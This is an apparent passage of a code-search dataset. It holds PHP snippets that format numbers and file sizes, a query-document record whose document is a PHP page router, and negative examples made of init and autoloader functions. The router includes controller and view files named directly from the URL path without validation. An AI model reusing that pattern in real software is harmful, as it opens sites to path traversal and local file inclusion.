if(!is_numeric($n)) return false;\r\n\r\n // now filter it;\r\n if($n>1000000000000) return round(($n/1000000000000),1).' trillion';\r\n else if($n>1000000000) return round(($n/1000000000),1).' milliarder';\r\n else if($n>1000000) return round(($n/1000000),1).' millioner';\r\n else if($n>1000) return round(($n/1000),1).' tusind';\r\n\r\n return number_format($n);\r\n }", "function smarty_modifier_number_format($string, $places=2, $dec=\",\", $thoussep=\" \")\n{\n if (!$string) return $string;\n return number_format($string, $places, $dec, $thoussep);\n}", "function Formato1($val){\r\n return number_format($val,0,\",\",\".\");\r\n }", "function format($val) {\r\n //setlocale(LC_MONETARY, 'en_US');\r\n return number_format(money_format('%i', $val), 2);\r\n }", "function formatBytes( $bytes, $precision = 2 )\n{\n $units = array('b', 'Kb', 'Mb', 'Gb', 'Tb');\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n $pow = min($pow, count($units) - 1);\n $bytes /= pow(1024, $pow);\n return round($bytes, $precision) . ' ' . $units[$pow];\n}", "function convertnumber( $num, $precision = 1 ) {\n\t$last=preg_replace(\"/[^a-zA-Z]/\", '', $num);\n\t$remaining=preg_replace(\"/[^0-9\\.]/\", '', $num);\n\t//$remaining = (float)$remaining;\n\t\n\tif($last == 'K') {\n\t\t$amount = number_format(($remaining*1000), $precision);\n\t} else if($last == 'M') {\n\t\t$amount = number_format(($remaining*1000000), $precision);\n\t} else if($last == 'B') {\n\t\t$amount = number_format(($remaining*1000000000), $precision);\n\t} else if($last == 'T') {\n\t\t$amount = number_format(($remaining*1000000000000), $precision);\n\t} else {\n\t\t$amount = number_format($remaining, $precision);\n\t}\n\treturn $amount;\n}", "public function getFormattedSize() {\r\n\t\r\n\t $bytes = $this->getSize();\r\n\t\r\n\t if ($bytes >= 1073741824)\r\n\t {\r\n\t\t$bytes = number_format($bytes / 1073741824, 2) . ' GB';\r\n\t }\r\n\t elseif ($bytes >= 1048576)\r\n\t {\r\n\t\t$bytes = number_format($bytes / 1048576, 2) . ' MB';\r\n\t }\r\n\t elseif ($bytes >= 1024)\r\n\t {\r\n\t\t$bytes = number_format($bytes / 1024, 2) . ' KB';\r\n\t }\r\n\t elseif ($bytes > 1)\r\n\t {\r\n\t\t$bytes = $bytes . ' bytes';\r\n\t }\r\n\t elseif ($bytes == 1)\r\n\t {\r\n\t\t$bytes = $bytes . ' byte';\r\n\t }\r\n\t else\r\n\t {\r\n\t\t$bytes = '0 bytes';\r\n\t }\r\n\r\n\t return $bytes;\r\n\t \r\n }", "function formatSize($filename)\n\t{\n\n\t\tif (is_string($filename) && !is_numeric($filename)) $size = filesize($filename);\n\n\t\t$mod = 1024;\n\t\t$units = explode(' ', 'B KB MB GB TB PB');\n\n\t\tfor ($i = 0; $size > $mod; $i++)\n\t\t{\n\t\t\t$size /= $mod;\n\t\t}\n\n\t\treturn round($size, 2).' '.$units[$i];\n\n\t}", "function nice_number($n) {\r\n // first strip any formatting;\r\n $n = (0+str_replace(\",\",\"\",$n));\r\n\r\n // is this a number?\r\n if(!is_numeric($n)) return false;\r\n\r\n // now filter it;\r\n if($n>1000000000000) return round(($n/1000000000000),2).' trillion';\r\n else if($n>1000000000) return round(($n/1000000000),2).' billion';\r\n else if($n>1000000) return round(($n/1000000),2).' million';\r\n else if($n>1000) return round(($n/1000),2).' thousand';\r\n\r\n return number_format($n);\r\n}", "function humanFileSize($size,$unit=\"\") \n {\n if( (!$unit && $size >= 1<<30) || $unit == \"GB\")\n return number_format($size/(1<<30),2).\"GB\";\n if( (!$unit && $size >= 1<<20) || $unit == \"MB\")\n return number_format($size/(1<<20),2).\"MB\";\n if( (!$unit && $size >= 1<<10) || $unit == \"KB\")\n return number_format($size/(1<<10),2).\"KB\";\n return number_format($size).\" bytes\";\n }", "function bytesToHumanReadable (int $size, int $decimals = 2): string {\n\tif ($size >= 1 << 40)\n\t\treturn number_format($size / (1 << 40), $decimals).\"TB\";\n\tif ($size >= 1 << 30)\n\t\treturn number_format($size / (1 << 30), $decimals).\"GB\";\n\tif ($size >= 1 << 20)\n\t\treturn number_format($size / (1 << 20), $decimals).\"MB\";\n\tif ($size >= 1 << 10)\n\t\treturn number_format($size / (1 << 10), $decimals).\"KB\";\n\treturn number_format($size, $decimals).\"B\";\n}", "function number_format_i18n($number, $decimals = 0)\n {\n }", "function numberformat( $num ) {\n\tglobal $lang;\n\tif ( $lang == 'www' || $lang == 'meta' || $lang == 'commons' || $lang == 'en' || $lang == 'incubator' ) {\n\t\treturn number_format($num);\n\t}\n\telseif ( $lang == 'fr' ) {\n\t\treturn number_format($num, 0, ',', ' ');\n\t}\n\telse {\n\t\treturn number_format($num);\n\t}\n}", "function kwh(float $number)\n{\n return number_format($number, '2', ',', '');\n}", "protected function formatBytes($size, $precision = 2)\n\t{\n\t\t$base = log($size, 1024);\n\t\t$suffixes = array('bytes', 'kb', 'Mb', 'G', 'T'); \n\n\t\treturn round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)];\n\t}", "public static function formatSize($size, $decimals = 1) {\n\t\t\n\t\tif($size==0)\n\t\t\treturn \"0 bytes\";\n\t\t\n\t\tswitch ($size) {\n\t\t\tcase ($size >= 1073741824) :\n\t\t\t\t$size = self::localize($size / 1073741824, $decimals);\n\t\t\t\t$size .= \" G\";\n\t\t\t\tbreak;\n\n\t\t\tcase ($size >= 1048576) :\n\t\t\t\t$size = self::localize($size / 1048576, $decimals);\n\t\t\t\t$size .= \" M\";\n\t\t\t\tbreak;\n\n\t\t\tcase ($size >= 1024) :\n\t\t\t\t$size = self::localize($size / 1024, $decimals);\n\t\t\t\t$size .= \" K\";\n\t\t\t\tbreak;\n\n\t\t\tdefault :\n\t\t\t\t$size = self::localize($size, $decimals);\n\t\t\t\t$size .= \" bytes\";\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $size;\n\t}", "function convert_number($n) {\r\r\n if($n != ''){\r\r\n $n = (0+str_replace(\",\", \"\", $n));\r\r\n }\r\r\n\r\r\n //if (!is_numeric($n)) return false;\r\r\n\r\r\n if ($n > 1000000000000) return round(($n/1000000000000), 2).'T';\r\r\n elseif ($n > 1000000000) return round(($n/1000000000), 2).'B';\r\r\n elseif ($n > 1000000) return round(($n/1000000), 2).'M';\r\r\n elseif ($n > 1000) return round(($n/1000), 2).'Th';\r\r\n \r\r\n return number_format($n);\r\r\n }", "public function shortNumber($value)\n {\n $value = (0 + str_replace(',', '', $value)); // remove formatting\n if (!is_numeric($value)) {\n return false; // require number\n }\n $t = ($value / 1000000000000); // trillion\n $b = ($value / 1000000000); // billions\n $m = ($value / 1000000); // millions\n $k = ($value / 1000); // thousands\n if ($t >= 1) {\n if (is_float($t) && $t < 100) {\n return round($t, 1) . 'T';\n }\n return round($t) . 'T';\n } else if ($b >= 1) {\n if (is_float($b) && $b < 100) {\n return round($b, 1) . 'B';\n }\n return round($b) . 'B';\n } else if ($m >= 1) {\n if (is_float($m) && $m < 100) {\n return round($m, 1) . 'M';\n }\n return round($m) . 'M';\n } else if ($k >= 1) {\n if (is_float($k) && $k < 100) {\n return round($k, 1) . 'k';\n }\n return round($k) . 'k';\n }\n return is_float($value) ? number_format($value, 2) : number_format($value);\n }", "public function humanSize($precision = 1)\n {\n $size = $this->size ?? 0;\n if ($size > 0) {\n $size = (int) $size;\n $base = log($size) / log(1024);\n $suffixes = [' bytes', ' KB', ' MB', ' GB', ' TB'];\n\n return round(pow(1024, $base - floor($base)), $precision).$suffixes[(int) floor($base)];\n } else {\n return $size;\n }\n }", "private function formatBytes($size, $precision = 2)\n {\n $base = log($size, 1024);\n $suffixes = array('B', 'kB', 'MB', 'GB', 'TB', 'PT');\n return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[floor($base)];\n }", "function yourls_number_format_i18n( $number, $decimals = 0 ) {\n\tglobal $yourls_locale_formats;\n\tif( !isset( $yourls_locale_formats ) )\n\t\t$yourls_locale_formats = new YOURLS_Locale_Formats();\n\n\t$formatted = number_format( $number, abs( intval( $decimals ) ), $yourls_locale_formats->number_format['decimal_point'], $yourls_locale_formats->number_format['thousands_sep'] );\n\treturn yourls_apply_filter( 'number_format_i18n', $formatted );\n}", "function formatPrice2($price)\n{\n\t$price = @number_format($price, 2, '.', ' '); // Igor\n\treturn $price;\n}", "function size_readable ($size, $retstring = null) {\n // adapted from code at http://aidanlister.com/repos/v/function.size_readable.php\n $sizes = array('B ', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n if ($retstring === null) { $retstring = '%01.2f %s'; }\n $lastsizestring = end($sizes);\n foreach ($sizes as $sizestring) {\n if ($size < 1024) { break; }\n if ($sizestring != $lastsizestring) { $size /= 1024; }\n }\n if ($sizestring == $sizes[0]) { $retstring = '%01d %s'; } // Bytes aren't normally fractional\n return sprintf($retstring, $size, $sizestring);\n }", "function formatPrice($vlprice)\n{\n\tif(!$vlprice>0) $vlprice = 0;//trantando nao tem nada no carrinho, o valor do frete vem NULL e assim daria erro\n\treturn number_format($vlprice, 2, \",\", \".\");\n}", "function formatBytes($bytes, $precision = 2) { \n $units = array('B', 'KB', 'MB', 'GB', 'TB'); \n $bytes = max($bytes, 0); \n $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); \n $pow = min($pow, count($units) - 1); \n $bytes /= pow(1024, $pow); \n return round($bytes, $precision) . ' ' . $units[$pow]; \n }", "function convert($size)\n {\n $unit=array('b','kb','mb','gb','tb','pb');\n return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];\n }", "function Moeda($val) {\n //setlocale(LC_MONETARY, 'pt_BR', 'ptb');\n //return money_format('%4n', $val);\n return number_format($val, 2,',','.');\n}", "public static function formatBytes($size, $precision = 2)\n {\n if ($size > 0) {\n $size = (int) $size;\n $base = log($size) / log(1024);\n $suffixes = array(' bytes', ' KB', ' MB', ' GB', ' TB');\n\n return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n } else {\n return $size;\n }\n }", "public static function prettyPrintSize($size, $precision = 2, $si = false, $locale = 'en') {\n\t\t$fmt = new \\NumberFormatter($locale, \\NumberFormatter::DECIMAL);\n\t\t\n\t\t$mod = $si ? 1000 : 1024;\n\t\t$base = log($size, $mod);\n\t\t$suffixes = null;\n\t\tif($si) {\n\t\t\t$suffixes = [\n\t\t\t\t'B',\n\t\t\t\t'kB',\n\t\t\t\t'MB',\n\t\t\t\t'GB',\n\t\t\t\t'TB',\n\t\t\t\t'PB' \n\t\t\t];\n\t\t} else {\n\t\t\t$suffixes = [\n\t\t\t\t'B',\n\t\t\t\t'kiB',\n\t\t\t\t'MiB',\n\t\t\t\t'GiB',\n\t\t\t\t'TiB',\n\t\t\t\t'PiB' \n\t\t\t];\n\t\t}\n\t\t\n\t\treturn $fmt->format(round(pow($mod, $base - floor($base)), $precision)) . ' ' . $suffixes[floor($base)];\n\t}", "function large_images_human_filesize($bytes, $decimals = 2) {\n $sz = 'BKMGTP';\n $factor = floor((strlen($bytes) - 1) / 3);\n return sprintf(\"%.{$decimals}f\", $bytes / pow(1024, $factor)) . @$sz[$factor];\n}", "private function getSizeFormattedSi(int $size): string\n {\n if ($size > 1000 * 1000) {\n return sprintf('%0.1f MB', ($size / 1000 / 1000));\n }\n if ($size > 1000) {\n return sprintf('%0.1f KB', ($size / 1000));\n }\n\n return $size . ' B';\n }", "function convert_number($number) \n{ \n if (($number < 0) || ($number > 999999999)) \n { \n echo \"Number is out of range\";\n } \n\n \t//$Gn = floor($number / 1000000); /* Millions (giga) */ \n //$number -= $Gn * 1000000; \n\n $Gn = floor($number / 100000); /* Lakhs (giga) */ \n $number -= $Gn * 100000; \n $kn = floor($number / 1000); /* Thousands (kilo) */ \n $number -= $kn * 1000; \n $Hn = floor($number / 100); /* Hundreds (hecto) */ \n $number -= $Hn * 100; \n $Dn = floor($number / 10); /* Tens (deca) */ \n $n = $number % 10; /* Ones */ \n\n $res = \"\"; \n\n /*if ($Gn) \n { \n $res .= convert_number($Gn) . \" Millions\"; \n } */\n\n\tif ($Gn) \n { \n $res .= convert_number($Gn) . \" Lakhs\"; \n } \n\n if ($kn) \n { \n $res .= (empty($res) ? \"\" : \" \") . \n convert_number($kn) . \" Thousand\"; \n } \n\n if ($Hn) \n { \n $res .= (empty($res) ? \"\" : \" \") . \n convert_number($Hn) . \" Hundred\"; \n } \n\n $ones = array(\"\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \n \"Seven\", \"Eight\", \"Nine\", \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \n \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eightteen\", \n \"Nineteen\"); \n $tens = array(\"\", \"\", \"Twenty\", \"Thirty\", \"Fourty\", \"Fifty\", \"Sixty\", \n \"Seventy\", \"Eigthy\", \"Ninety\"); \n\n if ($Dn || $n) \n { \n if (!empty($res)) \n { \n $res .= \" and \"; \n } \n\n if ($Dn < 2) \n { \n $res .= $ones[$Dn * 10 + $n]; \n } \n else \n { \n $res .= $tens[$Dn]; \n\n if ($n) \n { \n $res .= \"-\" . $ones[$n]; \n } \n } \n } \n\n if (empty($res)) \n { \n $res = \"zero\"; \n } \n\n return $res; \n}", "public function formatSize($bytes, $precision = 2)\n {\n if ((int)$bytes < 1) {\n return '';\n }\n\n $units = ['B', \"KB\", \"MB\", \"GB\", \"TB\"];\n\n $bytes = (int)$bytes;\n $base = log($bytes) / log(1000); // 1024 would be for MiB KiB etc\n $pow = pow(1000, $base - floor($base)); // Same rule for 1000\n\n return round($pow, $precision) . ' ' . $units[(int)floor($base)];\n }", "function getHumanSize($precision=1)\n {\n $bytes = $this->getSize();\n if ($bytes>1048576) {\n return round($bytes/1048576,$precision).'MB';\n } elseif ($bytes>1024) {\n return round($bytes/1024,$precision).'KB';\n } else {\n return round($bytes,$precision).'B';\n }\n }", "public static function format_bytes($size, $precision = 2)\n\t{\n\t\t$base = log($size, 1024);\n\t\t$suffixes = array('', 'kB', 'MB', 'GB', 'TB');\n\n\t\treturn round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n\t}", "function format_unit(\n $value,\n $base = 1024,\n $units = ['', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],\n $precision = 2\n) {\n if ($value < 0) {\n return '-' . format_unit(abs($value), $units, $precision);\n }\n\n if ($value < 1) {\n return $value . ' ' . $units[0];\n }\n\n $power = min(\n floor(log($value, $base)),\n count($units) - 1\n );\n\n return round($value / pow($base, $power), $precision) . ' ' . $units[$power];\n}", "function human_filesize($bytes, $decimals = 2, $decimalSeparator = null, $thousandSeparator = null)\n{\n $decimalSeparator = $decimalSeparator ?? (localeconv()['decimal_point'] ?? '.');\n $thousandSeparator = $thousandSeparator ?? (localeconv()['thousands_sep'] ?? ',');\n $size = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n $factor = min(floor((strlen($bytes) - 1) / 3), count($size) - 1);\n return number_format($bytes / pow(1024, $factor), $decimals, $decimalSeparator, $thousandSeparator) . $size[$factor];\n}", "function humanize_filesize($bytes, $dec = 2)\n{\n $size = ['B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];\n $factor = floor((strlen($bytes) - 1) / 3);\n\n return sprintf(\"%.{$dec}f\", $bytes / pow(1024, $factor)) . @$size[$factor];\n}", "public function formatNumber($number);", "function formatBytes($bytes, $precision = 2) {\n $bytes = round($bytes, 0);\n\n $units = array('B', 'KB', 'MB', 'GB', 'TB');\n $short_units = array('B', 'K', 'M', 'G', 'T');\n\n // Don't allow minus bytes\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1000));\n $pow = min($pow, count($units) - 1);\n\n // Adjust the bytes to MB, GB, etc\n $bytes /= pow(1000, $pow);\n\n // If we're using TB then allow for one more DP\n if ($pow == 4) $precision += 1;\n\n // Format it to the correct dp\n $number = number_format($bytes, $precision);\n\n return $number . $short_units[$pow];\n}", "function human_filesize($size,$unit=\"\") {\n if( (!$unit && $size >= 1<<30) || $unit == \"GB\")\n return number_format($size/(1<<30),2).\"GB\";\n if( (!$unit && $size >= 1<<20) || $unit == \"MB\")\n return number_format($size/(1<<20),2).\"MB\";\n if( (!$unit && $size >= 1<<10) || $unit == \"KB\")\n return number_format($size/(1<<10),2).\"KB\";\n return number_format($size).\" bytes\";\n}", "function format_size($file_size, $sizetype) {\n\t\tswitch(strtolower($sizetype)){\n\t\t\tcase \"kb\":\n\t\t\t\t$filesize = $file_size * .0009765625; // bytes to KB\n\t\t\tbreak;\n\t\t\tcase \"mb\":\n\t\t\t\t$filesize = $file_size * .0009765625 * .0009765625; // bytes to MB\n\t\t\tbreak;\n\t\t\tcase \"gb\":\n\t\t\t\t$filesize = $file_size * .0009765625 * .0009765625 * .0009765625; // bytes to GB\n\t\t\tbreak;\n\t\t}\n\t\tif($filesize <= 0){\n\t\t\t$filesize = 0;\n\t\t} else {\n\t\t\t$filesize = round($filesize, 2).' '.$sizetype;\n\t\t}\n\t\treturn $filesize;\n\t}", "function couponxl_format_price_number( $price ){\n\n\tif( !is_numeric( $price ) ){\n\t\treturn $price;\n\t}\n\t$unit_position = couponxl_get_option( 'unit_position' );\n\t$unit = '₹';\n\n\tif( $unit_position == 'front' ){\n\t\treturn $unit.number_format( $price, 2 );\n\t}\n\telse{\n\t\treturn $unit.number_format( $price, 2 );\n\t}\n}", "public static function BigNumber($Number) {\n if (!is_numeric($Number))\n return $Number;\n\n if ($Number >= 1000000000) {\n $Number = $Number / 1000000000;\n $Suffix = \"B\";\n } elseif ($Number >= 1000000) {\n $Number = $Number / 1000000;\n $Suffix = \"M\";\n } elseif ($Number >= 1000) {\n $Number = $Number / 1000;\n $Suffix = \"K\";\n }\n\n if (isset($Suffix)) {\n return number_format($Number, 1).$Suffix;\n } else {\n return $Number;\n }\n }", "function fileOfSize($size, $precision = 2)\n{\n if ($size >= 1099511627776) return round(($size / 1099511627776 * 100) / 100, $precision) . ' To';\n if ($size >= 1073741824) return round(($size / 1073741824 * 100) / 100, $precision) . ' Go';\n if ($size >= 1048576) return round(($size / 1048576 * 100) / 100, $precision) . ' Mo';\n if ($size >= 1024) return round(($size / 1024 * 100) / 100, $precision) . ' Ko';\n if ($size > 0) return $size . ' o';\n return '-';\n}" ]
[ "0.72626066", "0.6914572", "0.6854725", "0.6841366", "0.6735019", "0.669051", "0.6669818", "0.65485454", "0.65305924", "0.6495943", "0.6482157", "0.64586794", "0.64522773", "0.6419382", "0.6418178", "0.6413774", "0.64102614", "0.6390647", "0.6383119", "0.63807523", "0.6368365", "0.6362461", "0.6353733", "0.6330693", "0.6329423", "0.632861", "0.62977743", "0.627565", "0.6272647", "0.6258205", "0.6231094", "0.6205043", "0.6198553", "0.6193586", "0.6192492", "0.6191169", "0.61690146", "0.6160424", "0.61598563", "0.61543626", "0.6152036", "0.6143176", "0.614185", "0.61416227", "0.6119193", "0.6109546", "0.6101819", "0.60955834", "0.60947055", "0.6093625", "0.6079369", "0.6044079", "0.60350335", "0.6018572", "0.6015424", "0.6000586", "0.59858483", "0.5982742", "0.5979921", "0.59756833", "0.5969587", "0.5966096", "0.5962753", "0.59584355", "0.59555465", "0.59546244", "0.59543496", "0.5953041", "0.59528565", "0.5947647", "0.59461886", "0.5944489", "0.59374404", "0.59288216", "0.59248537", "0.5924174", "0.59123236", "0.590569", "0.58928907", "0.58832854", "0.58831656", "0.58831155", "0.58797246", "0.5870311", "0.5869031", "0.58680564", "0.58566964", "0.58553636", "0.58463174", "0.5836478", "0.5828641", "0.5814657", "0.57916194", "0.5790194", "0.57890576", "0.57848155", "0.57731986", "0.5772018", "0.57686824", "0.57608134" ]
0.6943326
1
/ Global Functions / INIT
function init() { // Default Page $page = "index"; // get URL $url = parseURL(); // update page if set if(isset($url[0])){ $page = $url[0]; } // Check controller if(file_exists($_SERVER['DOCUMENT_ROOT'].'/controllers/'. $page . '.php')){ require_once $_SERVER['DOCUMENT_ROOT'].'/controllers/' .$page. '.php'; } // include Header include($_SERVER['DOCUMENT_ROOT']."/partials/header.php"); // Require View if(file_exists($_SERVER['DOCUMENT_ROOT'].'/views/'. $page . '.php')){ require_once $_SERVER['DOCUMENT_ROOT'].'/views/' . $page . '.php'; } else { require_once $_SERVER['DOCUMENT_ROOT'].'/views/404.php'; } include($_SERVER['DOCUMENT_ROOT']."/partials/footer.php"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function init() {\n\t\t\n\t}", "protected function _init()\r\n\t{\r\n\t}", "function init() {}", "function init()\r\n \t{\r\n \t}", "function init()\n\t{\n\t\t\n\t}", "protected function init()\n\t{\n\t\t\n\t}", "function initialize() ;", "function init()\n\t{\n\t}", "function init()\n\t{\n\t}", "function init(){\r\n\t}", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function init();", "public function _init() {}", "private function init()\n\t{\n\t\treturn;\n\t}", "function init() {\r\n }", "public function _init(){}", "public function _init() {\r\n\r\n }", "public function init() {\n\t\t\n\t}", "public static function init ()\n {\n }", "function init();", "protected function _init()\n {\n }", "public static function init()\n {\n }", "public static function init(){\n \n }", "public function init()\n {\n // Nothing needs to be done initially, huzzah!\n }", "public function init(){\n\t\t\n\t}", "function init()\n {\n }", "function init()\n {\n }", "function init()\n {\n }", "public function Init() {\n\t\n\t}", "public static function init() {\n }", "public static function init() {\n }", "public static function init() {\n }", "abstract protected function _init();", "abstract protected function _init();", "public function init()\n {\n \treturn;\n }", "public function init()\n\t\t{\n\t\n\t\t}", "static public function init() {\n }", "public static function initialize()\n\t{\n\t}", "protected function _init()\n {\n }", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\t}", "public function init()\n\t{\n\n\t}", "abstract protected function _init( );", "public function init() {\r\n\r\n\t\t}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "public function InitAll ();", "protected static function init()\n {\n }", "protected function init() {return;}", "public function init()\n {\n \t\n }", "public function init()\n {\n \t\n }", "protected function init() {\n\t}", "protected function init() {\n\t}", "public function init() {\r\n\t}", "public function init()\n { \t\n }", "public function init(){}", "public function init(){}", "public function init() {\t\t\n\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init()\r\n {\r\n }", "public function init() {}", "public function init() {}" ]
[ "0.8305407", "0.8281954", "0.8274957", "0.8256049", "0.8192205", "0.81731975", "0.8169591", "0.8160857", "0.8160857", "0.81565106", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.81287026", "0.811653", "0.8083981", "0.80399173", "0.802609", "0.7981627", "0.797673", "0.7974999", "0.7967188", "0.79553866", "0.7943211", "0.7942522", "0.7927139", "0.7906668", "0.7896158", "0.7896158", "0.7896158", "0.7870476", "0.7867758", "0.7867758", "0.7867758", "0.78561324", "0.78561324", "0.7855506", "0.7846536", "0.78394043", "0.78384817", "0.7834484", "0.78322464", "0.78322464", "0.78322464", "0.78322464", "0.78322464", "0.78322464", "0.78322464", "0.78322464", "0.78322464", "0.7817737", "0.7811495", "0.7806001", "0.7805808", "0.7805808", "0.7805808", "0.7805808", "0.780546", "0.780546", "0.780546", "0.780546", "0.780546", "0.780546", "0.78048575", "0.78048575", "0.7802163", "0.77912265", "0.77840394", "0.77822673", "0.77822673", "0.7781946", "0.7781946", "0.7780398", "0.7761797", "0.7760858", "0.7760858", "0.77435166", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.7738765", "0.77369213", "0.77369213" ]
0.0
-1
/ Helper Functions Autoload Class
function __autoload($class_name) { include_once $_SERVER['DOCUMENT_ROOT'].'/core/classes/class.' . $class_name . '.inc.php'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function helper_autoloader($class)\n {\n\n }", "function __autoload($class_name) {include $class_name . '.php';}", "abstract protected static function autoload($class);", "static function autoload()\r\n\t{\r\n\t\t\r\n\t}", "function my_autoloader($class) {\r\n\t require_once ($class.'.php');\r\n\t}", "function __autoload($class){\n require \"classes/\".$class.\".php\";\n }", "function autoLoad($class){\r\n\r\n $class = str_replace(\"\\\\\",SEPARATOR,$class);\r\n include_once(BASEDIR. SEPARATOR. $class. \".class.php\");\r\n \r\n}", "function __autoload($classPupa){\n\n require 'class/'.$classPupa.'.php';\n \n}", "public static function LOADER(){\n spl_autoload_register(array(__CLASS__, \"requireClass\"));\n }", "function __autoload($class)\n{\n\trequire_once $class . '.php';\n}", "function __autoload($class) {\n require ($class . '.php');\n}", "function classAutoload($class_name) {\n if (file_exists( __DIR__ . '/includes/classes/' . $class_name . '.php')) {\n require_once __DIR__ . '/includes/classes/' . $class_name . '.php';\n }\n}", "function __autoload($class) {\n include './libs/class_'.$class.'.php';\n}", "function class_autoloader($class) {\r\n require make_url(\"class/$class.php\");\r\n}", "function __autoload($class){\n\tif (file_exists(\"{$class}/{$class}.php\")) {\n\t\trequire_once \"{$class}/{$class}.php\";\n\t}\n}", "function MyAutoload($className){\n $className=str_replace(\"\\\\\",\"/\",$className);\n $className=str_replace(\"App/\",\"\",$className);\n $class=\"{$className}.php\";\n include_once($class);\n}", "function __autoload($class_name) {\n\n require_once $class_name . '.class.php';\n\t\n}", "function SuperheroServiceAutoload($class){\n require_once $class . '.php';\n}", "function __autoload($className)\r\n{\r\n require_once $className . '.php';\r\n}", "function __autoload($class_name){\n require_once \"../cls/\".$class_name.'.php';\n}", "function supernova_autoloader($className){\r\n\t\t$root_path = ROOT . DS;\r\n\t\t$app_path=$root_path.'application' . DS;\r\n\t\t$library_path=$root_path.'library' . DS . 'extensions' . DS;\r\n\t\t$str = $className;\r\n\t\t$str[0] = strtolower($str[0]);\r\n\t\t$func = create_function('$c', 'return \"_\" . strtolower($c[1]);');\r\n\t\t$strName = preg_replace_callback('/([A-Z])/', $func, $str);\r\n\t\t$name = strtolower($strName);\r\n\t\t$file = $library_path.$name.'.class.php';\r\n\t\t$controllerFile = $app_path. 'controllers' . DS . $name . '.php';\r\n\t\t$modelFile = $app_path. 'models' . DS . $name . '.php';\r\n\t\t$appFile = $app_path.'app'.'.controller.php';\r\n\t\tif (file_exists($file)){\r\n\t\t\trequire_once($file);\r\n\t\t}else if (file_exists($controllerFile)){\r\n\t\t\trequire_once($controllerFile);\r\n\t\t}else if (file_exists($modelFile)){\r\n\t\t\trequire_once($modelFile);\r\n\t\t}else if (file_exists($appFile)){\r\n\t\t \trequire_once($appFile);\r\n\t\t}\r\n\t}", "function __autoload($class_name) {\n require_once '/' . $class_name . '.php';\n}", "function my_autoloader($class_name) \n\t{\n \tinclude '../classes/' . $class_name . '.class.php';\n\t}", "function __autoload($class)\n \t{\n // metodo que inclui apenas uma vez e se ja existir ignora uma classe.\n \t require_once \"class/\".$class.\".class.php\"; \n \t}", "function __autoload($nome_classe){\n require_once '../libs/' . $nome_classe . '.php';\n}", "function __autoload($class)\n{\n require(str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php');\n}", "public static function autoload()\n {\n spl_autoload_register(array(__CLASS__,'load'));\n }", "function __autoload($class)\n\t{\n\t\trequire_once('class/'. strtolower($class) . '.class.php');\n\t}", "function __autoload($className){\n\t\t$path = str_replace('\\\\','/',$className).'.class.php';\n\t\tinclude 'libs/'.$path;\n\t}", "function __autoload($nomClasse) {\r\n\trequire_once $nomClasse.'.class.php';\r\n}", "function __autoload($class_name) {\n include_once strtolower($class_name) . '.php';\n }", "function class_autoloader($class)\n{\n $filename = dirname(__FILE__) . DS . '..' . DS . 'includes' . DS . 'class-' . strtolower($class) . '.php';\n\n if (file_exists($filename)) {\n require $filename;\n }\n}", "function __autoload($name){\n require_once './class/' . $name . \".class.php\";\n}", "function __autoload($class_name) {\r\n include '../class/' . $class_name . '.php';\r\n}", "function my_autoloader($class) {\r\n require 'libs/' . $class . '.php';\r\n}", "function __autoload($class){\n require_once($class.'.inc');\n}", "function __autoload($class) {\n if ($class == \"uploader\")\n require \"core/uploader.php\";\n elseif ($class == \"browser\")\n require \"core/browser.php\";\n elseif (file_exists(\"core/types/$class.php\"))\n require \"core/types/$class.php\";\n elseif (file_exists(\"lib/class_$class.php\"))\n require \"lib/class_$class.php\";\n elseif (file_exists(\"lib/helper_$class.php\"))\n require \"lib/helper_$class.php\";\n}", "function my_autoloader($class)\n{\n $filename = BASE_PATH . '/'. str_replace('\\\\', '/', $class) . '.php';\n include($filename);\n}", "function autoload($class)\n{\n require dirname($_SERVER['SCRIPT_FILENAME']) . '//..//..//' . str_replace('\\\\', '/', $class) . '.php';\n}", "function __autoload($class)\r\n \t{\r\n $file = strtolower(str_replace('_', DS ,$class).'.php'); \r\n 